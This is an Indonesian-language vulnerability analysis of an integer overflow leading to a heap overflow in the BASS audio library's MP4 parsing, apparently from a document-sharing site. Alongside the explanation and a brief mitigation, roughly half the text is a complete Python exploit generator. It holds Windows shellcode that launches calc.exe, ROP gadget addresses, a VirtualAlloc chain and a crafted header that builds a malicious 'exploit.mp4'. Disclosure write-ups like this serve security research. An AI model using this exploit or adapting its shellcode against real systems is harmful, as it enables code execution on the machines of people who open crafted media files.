Anda di halaman 1dari 8

Analisis kerentanan Perpustakaan Audio

Ini adalah analisis kerentanan untuk perpustakaan audio yang saya temukan dan laporkan
3-4 tahun yang lalu.

BASS adalah perpustakaan audio yang mendukung berbagai ekstensi seperti MP3, ACC,
M4P, FLAC, OGG, dan WAV. Banyak program yang masih digunakan sampai sekarang.

Analisis Kerentanan

Ringkasan
Integer overflow terjadi di bidang data saat mem-parsing file audio. Melalui integer overflow,
nilai yang lebih kecil dari panjang data yang disalin dialokasikan ke heap, yang mengarah
ke heap overflow.

analisis
*sub_10249B6 (strlen)

*sub_11001009 (alokasi tumpukan)

*sub_110031E6 (Baca Berkas)

Di kotak pertama, v4 adalah nilai yang dibaca dari file. Mengalokasikan tumpukan sebanyak
(v4-7+3)&0xFC, membaca dari file dan menyimpannya di tumpukan. Dan saat mengurai
bidang data di kotak kedua, luapan bilangan bulat terjadi karena validasi yang tidak
mencukupi dalam ukuran yang dihitung selama alokasi tumpukan.

v66 adalah nilai dari file, dan v8 adalah panjang konten pada tumpukan yang dialokasikan
oleh kotak pertama. Jika Anda menyesuaikan kedua nilai dengan baik, Anda dapat
menetapkan nilai yang lebih kecil dari v66 dengan melewatkan nilai 0xffffffff.

Heap overflow terjadi di dalam sub_110031E6 setelah membaca data file sebanyak ukuran
v66-16.

Mengeksploitasi

Setelah menyalin konten file dengan qmemcpy di dalam sub_110031E6, sub_11003749


dipanggil.
Dalam fungsi sub_11003749, (*(a1+0x30)) penunjuk fungsi dipanggil. Saat ini, karena heap
overflow, nilai *(a1+0x30) dapat dimanipulasi sesuka hati, memungkinkan kontrol EIP.

Saya mencoba men-debug melalui WinDbg. Saat memanggil penunjuk fungsi, jika Anda
melihat status tumpukan, Anda dapat melihat bahwa data file yang disimpan setelah alokasi
tumpukan ada pada jarak 0x48 dari ESP. Saya merancang Rantai ROP di bagian itu, dan
menjalankan Rantai ROP menggunakan gadget seperti “add esp,0x~~;ret”.
Saya menulis ROP Chain yang memberikan izin rwx melalui Virtual_alloca API, menyalin
shellcode di ruang itu, dan menjalankannya dengan melompat.
Kami menggunakan perpustakaan BASS dan mengujinya dalam program perusahaan
A. (Ditambal)

Jika Anda membaca file exploit, Anda dapat melihat shellcode (calc.exe) sedang
dieksekusi.

Kode Eksploitasi
from struct import *

p32 = lambda x : pack("<L",x)

loop_cpy = ""
sub_eax = ""

shellcode = "\x90"*0x30 +
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75
\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\
x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x
8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52
\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7\xeb\xfe" + "\x90\x90"

#rop_gadget
cpy = 0x6350cbbc # mov dword ptr [eax], ecx ; pop esi ; ret
pop_ecx = 0x635070f2
inc_eax = 0x63506ad8
jmp_eax = 0x63506dad # push eax ; ret
add_esp_13c = 0x63503f0b# : add esp, 0x13c ; ret 0x13c-0x48
virtual_alloc = 0x6350f0a4
ppppr = 0x63507389 # pop edi ; pop esi ; pop ebx ; pop ebp ; ret
pop_eax = 0x63507228 #: pop eax ; ret
push_ecx_ptr = 0x6070fff1 #: push dword ptr [ecx] ; add byte ptr [eax], al ; ret 0xc
mov_eax_ebx = 0x63507484 #: mov eax, ebx ; pop esi ; pop ebx ; pop ebp ; ret
sub_eax_20 = 0x6350db86 #: sub eax, 0x20 ; pop ebx ; ret

for i in range(0,len(shellcode),4):
loop_cpy += p32(pop_ecx)
loop_cpy += shellcode[i:i+4]
loop_cpy += p32(cpy)
loop_cpy += "\x90\x90\x90\x90"
loop_cpy += p32(inc_eax)
loop_cpy += p32(inc_eax)
loop_cpy += p32(inc_eax)
loop_cpy += p32(inc_eax)

rop_chain = p32(mov_eax_ebx)
rop_chain += "\x90"*12
rop_chain += p32(pop_ecx)
rop_chain += p32(virtual_alloc)
rop_chain += p32(push_ecx_ptr)
rop_chain += "\x90"*0xc
rop_chain += p32(ppppr)
rop_chain += p32(0)
rop_chain += p32(0x10000) # size
rop_chain += p32(0x1000)
rop_chain += p32(0x40) # execution
rop_chain += "\x90"*0x10
rop_chain += loop_cpy

for k in range(0,4,1):
sub_eax += p32(sub_eax_20)
sub_eax += "\x90\x90\x90\x90"

rop_chain += sub_eax
rop_chain += p32(jmp_eax)

header = "\x00\x00\x00\x08"
header += "\x66\x74\x79\x70" # file signature
header += "\x00\x00\x00\x09" # 0x10 > 0x11 break pass
header += "\x69\x6C\x73\x74" # ilst
header += "\x00\x00\xAf\xff" # 1 read size
header += "\x6E\x61\x6D\x65" # name
header += "\x90\x90\x90\x90" # dummy

rop_space = "\x90"*0xf0 + p32(add_esp_13c) + "\x90"*0x13c


for k in range(0,0x25,1):
rop_space += p32(add_esp_13c)*0xf0

rop_space += rop_chain # 23c


rop_space += "\x90"*(0xAff3-len(rop_space))

header += rop_space

data_header = "\xff\xff\x72\xeb"
data_header += "\x64\x61\x74\x61"
data = "\x90\x90\x90" + p32(add_esp_13c)*(0xfd0/4)
f = open("exploit.mp4","w")
payload = header + data_header + data

f.write(payload)
f.close()

Penanggulangan
Tambahkan kode untuk memverifikasi overflow saat menghitung sehingga integer overflow
tidak terjadi.

Anda mungkin juga menyukai